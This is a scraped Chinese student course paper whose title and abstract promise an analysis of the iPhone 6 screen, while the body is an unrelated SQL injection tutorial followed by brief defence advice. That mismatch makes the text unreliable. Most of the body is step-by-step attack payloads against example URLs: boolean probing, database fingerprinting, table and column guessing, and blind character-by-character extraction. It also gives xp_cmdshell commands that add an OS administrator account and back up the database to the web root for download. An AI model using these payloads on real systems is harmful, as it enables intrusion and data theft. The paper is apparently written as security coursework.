




已阅读5页,还剩3页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
southeast university光学 课程论文论文题目:浅析iphone6屏幕的宣传卖点学 生 院 系 : 物理 学 生 姓 名 : 何翀 学 生 学 号 : 10014312 浅析iphone6屏幕的宣传卖点摘 要关键词: 双域像素dual-domain pixels;光取向技术phote aligment;retina hd;目 录引 言41 sql注入过程41.1判断是否可以攻击41.1.1输入为数字时:41.1.2输入为字符串时:41.2判断数据库类型51.2.1对于iis未关闭的51.2.2对于iis不返回错误信息的51.3判断数据类型51.4猜测表名61.5猜测列名61.6得到数据61.7直接获得用户名及密码72.sql注入防范72.1客户端72.2加密72.3 iis的限制72.4 iis权限的分配8结 语8参考文献8引 言 计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下,入侵pc,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在08年时一场大规模的sql注入席卷了全球,他们堆积选择ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站之后会受到感之后成为病原体。现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户输入安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库服务器的相关信息,最后可以为所欲为。1 sql注入过程1.1判断是否可以攻击首先我们要将ie浏览器的internet=高级=显示好友http信息去掉,这样我们就可以得到不同的错误,位置后的判断打下基础。比如说形如一个http:/example/mainview/show.asp?id=123这是一个正常的网站,在这个网站中数据库服务器通常通过select * from tablename where id=123来将结果集返回给客户端,这本来是没有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面添加一些代码,可以这样测试1.1.1输入为数字时:通过经典的1,2测试法,我们可以这样做不添加任何内容http:/example/mainview/show.asp?id=123;不报错添加and 1=1这样就变成了http:/example/mainview/show.asp?id=123 and1=1;不报错添加and 1=2 这样就变成了http:/example/mainview/show.asp?id=123 and 1=2;报错1.1.2输入为字符串时:末尾添加一个,这样就变成了http:/example/mainview/show.asp?id=123;报错 添加and 1=1这样就变成了http:/example/mainview/show.asp?id=123 and1=1;不报错 添加and 1=2这样就变成了http:/example/mainview/show.asp?id=123 and1=2;报错当这两个条件均满足时,我们可以知道show.asp不存在安全检测机制,因此可以得到我们show.asp是存在漏洞的。判断出这部分内容是可以实行sql注入时,我们可以进行下属步骤1.2判断数据库类型在和asp搭配的网站中,大多数采用的是access和sqlserver两种数据库,故这里我们不讨论mysql这种类型的。1.2.1对于iis未关闭的我们可以根据系统变量来判断,对于sqlserver数据库,其中存在一些系统变量,比如说user,利用这点,可以执行以下语句http:/example/mainview/show.asp?id=123 and user0;我们需要解释以下,user存储的是当前连接的用户名,类型为nvarchar的,结果可想而知,我们将两个 同类型的进行比较,那么系统首先会将nvarchar 的值转换为int,转换不成功,抛出错误,之后我们分析得到的错误信息:将username(用户名)转换为int失败,这样,我们不仅判断出了这是sqlserver数据库,同时知道了用户名为username。对于access数据库,我们只需要简单的在最后添加一个即可 http:/example/mainview/show.asp?id=123如果返回microsoft jet database engine 错误 80040e14,说明存在字符串语法错误,从中我们看出在show.asp 行8存在错误,从这个错误我们可以看出这个网站采用的是access数据库1.2.2对于iis不返回错误信息的我们可以根据系统表来判断:sqlserve的系统表为sysobjects,access的系统表为msysobjects 所以我们这样判断http:/example/mainview/show.asp?id=123 and (select count(*) from sysobjects)0http:/example/mainview/show.asp?id=123 and (select count(*) from mysobjects)0由于access数据库在web环境下访问msysobjects是没有权限的。因此不论是哪一种情况,总是会返回错误信息,所以如果页面访问正常,那么可以判断是sqlserver数据库,如果不正常,有错误信息,则为access数据库。1.3判断数据类型在前面已经介绍过了数字和字符串类型的,还有一种类型是关键字类型的即keyword它的查询语句大概是这个样子的:select * from tablename where keyword like %关键字%;所以我们可以注入keyword= and whatyouwant and %=, 这样sql语句就变成了select * from 表名 where字段like % and whatyouwant and %=%;其中whatyouwant就是你想要得到的东西,好了,三种格式的数据类型判断完成后,接下来我们猜测表名1.4猜测表名方法大致如下:http:/example/mainview/show.asp?id=123 and (select count(*)from 猜测的表名)0如果返回的页面没有变化,说明存在这个猜测的表名,如果返回错误信息,则不存在这个表名,反复重复这个过程,我们得到相应的表名,很是繁琐的过程,可是我们可以根据相关信息来猜测,比如说图书管理系统,我们会猜测book,borrower等名称1.5猜测列名方法大致如下:http:/example/mainview/show.asp?id=123 and (select count(猜测的列) from 得到的表名)0,反复这个过程,得到列名1.6得到数据假设我们已经得到了表名和列名,得到数据的思路如下,先得到top 1的长度,之后判断每一位的ascii,具体实现如下:判断长度:http:/example/mainview/show.asp?id=123 and (select top 1 len(列名) from 表名)n;将n换成不同的数字,根据返回的不同值,可以得到此列第一个值长度,比如说4正确,5错误,那么这个长度就是为5,之后我们要得到每个字符对应的是什么http:/example/mainview/show.asp?id=123 and (select top 1 ascii(sbustring(列名,m,1)asn,的m为第几个字符,它是小于等于我们刚才得到的n的,asn为ascii的值,由于数字和字母在1128之间,例如http:/example/mainview/show.asp?id=123 and (select top 1 ascii(sbustring(列名,2,1)=39;我们可以得到第二个字符是9因此通过这个方法,我们可以得到每一个字符的ascii,从而得到数据,这个工作大量重复且繁琐,自己做,算了吧,写一个小程序。很快就搞定了。1.7直接获得用户名及密码这样做只是一些基本的方法,对于真正比较牛的黑客,会使用另外一下方法。主要是针对sqlserver数据库的,由于sqlserver和操作系统有紧密联系,如果当期的连接具有sa权限,且 xp_cmdshell(将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出)正确执行(虽然在sqlserver2005中默认是关闭的),那么我们就很容易控制pc,操作步骤如下:http:/example/mainview/show.asp?id=123;exec master.xp_cmdshell “net user namepassword/add”-可以直接增加操作系统帐户name密码为password http:/example/mainview/show.asp?id=123;exec master.xp_cmdshell“net localgroup name administrators /add”- 把刚刚增加的帐户user加到administrators组中。http:/example/mainview/show.asp?id=123;backuup database 数据库名to disk=c:inetpubwwwrootsave.db 则把得到的数据内容全部备份到web目录下,再用http把此文件下载数一般来说,web虚拟目录是:c:inetpubwwwroot; 2.sql注入防范通过上述论述,我们了解了sql注入的过程,针对过程,我们发现,主要可以从以下几点进行防范2.1客户端在构造动态sql语句中,我们要检测用户输入的合法性,这对于我们来说是很重要的,因为往往我们只顾及了完成编码工作而忽略了安全问题,这样,对于经验老道的程序员,很快就可以看出其中的漏洞,因此在检查用户输入时,如果遇到select exec xp_cmdshell时,应该立即停止asp,并将页面至于出错状态。2.2加密当然加密是很重要的,我们可以采取一些加密算法,例如md5,rsa,des等,来阻止你获得密码2.3 iis的限制在sql注入过程中,iis的返回信息无疑是最大的帮凶,因此,对于iis的管理员,可以不管是什么样的错误,都设置成同一种错误返回回来,这样,就可以避免不法分子通过放回错误来达到目的,但是这样做的结果会增加程序员的负荷,程序员不知道是什么除了错,因此对于修正错误会有影响。2.4 iis权限的分配尽量给web最低权限,如果web只涉及到某几张表,那么只给他这几张表的访问权限,如果有修改操作,将update权限给它,总之它需要什么,我们提供给他什么,其余的不会给。结 语sql注入在国内日渐成熟,不法分子越来越多,我们的私人信息面临威胁,因此作为将来要从事软件开发的人员,我觉的我们有必要对这种安全漏洞进行彻底的分析,尽量减少它对我们客户的影响,有一个想法,是这样的,我认为我们可以设置一些虚假的用户名,密码,看似具有管理员权限,实则没有,同时,我们在检测用户输入时候对于那些非法的类似select,xp_cmdshell等输入,我们可以监视这个ip,掌握对方的作案动机,从而将这个不法分子揪出来。参考文献 151cto sql注入攻击与防御 eb/ol http:/netsecurity.51ct
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 老人死后工资管理办法
- 出行安全教育课件
- 渠道管理(第二版)项目三 渠道分析与战略制定(教案)
- 食品安全监控系统-洞察及研究
- 4.1 第1课时 因地制宜的农业分布 同步分层练(含答案)地理人教版八年级上册
- 2025未婚证明(模板)
- 基层岗位面试题及答案解析
- 2025合法的设备租赁合同书
- 2025合同范本:私营企业劳动合同模板
- 2025S店供货合同范本模板
- 医院DIP支付方式改革工作实施方案
- 完成筹备申请正式设立高等职业学校的审批办理流程
- 手足显微外科护理常规
- 《开关培训》课件
- 俄乌冲突课件初中生
- 【初中英语】15天背完英语3500词
- 第12课《醉翁亭记》课件2024-2025学年统编版语文九年级上册
- 2024上海中考考纲单词
- 《激光原理及应用》全套课件
- 成人高考成考大学语文(专升本)试题及答案指导(2025年)
- 2024-2025学年小学信息技术(信息科技)六年级全一册义务教育版(2024)教学设计合集
评论
0/150
提交评论